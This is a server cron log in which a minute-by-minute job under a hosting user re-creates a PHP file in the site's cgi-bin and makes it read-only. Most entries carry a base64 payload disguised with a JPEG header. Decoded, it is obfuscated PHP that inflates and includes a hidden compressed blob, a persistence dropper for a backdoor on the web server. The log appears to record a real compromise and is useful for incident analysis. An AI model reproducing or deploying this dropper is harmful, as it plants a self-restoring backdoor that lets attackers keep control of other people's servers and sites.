Nov 10 13:30:01 server CROND[27767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:31:01 server CROND[28648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:32:01 server CROND[29472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:33:01 server CROND[30311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:34:01 server CROND[31273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:35:01 server CROND[32239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:35:01 server CROND[32240]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 13:35:01 server CROND[32243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:35:01 server CROND[32244]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 13:35:01 server CROND[32246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:36:01 server CROND[623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:37:01 server CROND[1456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:38:01 server CROND[2284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:39:01 server CROND[3219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:39:01 server CROND[3220]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 13:40:01 server CROND[4056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:40:01 server CROND[4057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:40:01 server CROND[4062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 13:40:01 server CROND[4063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:41:01 server CROND[4894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:42:02 server CROND[5731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:42:02 server CROND[5732]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
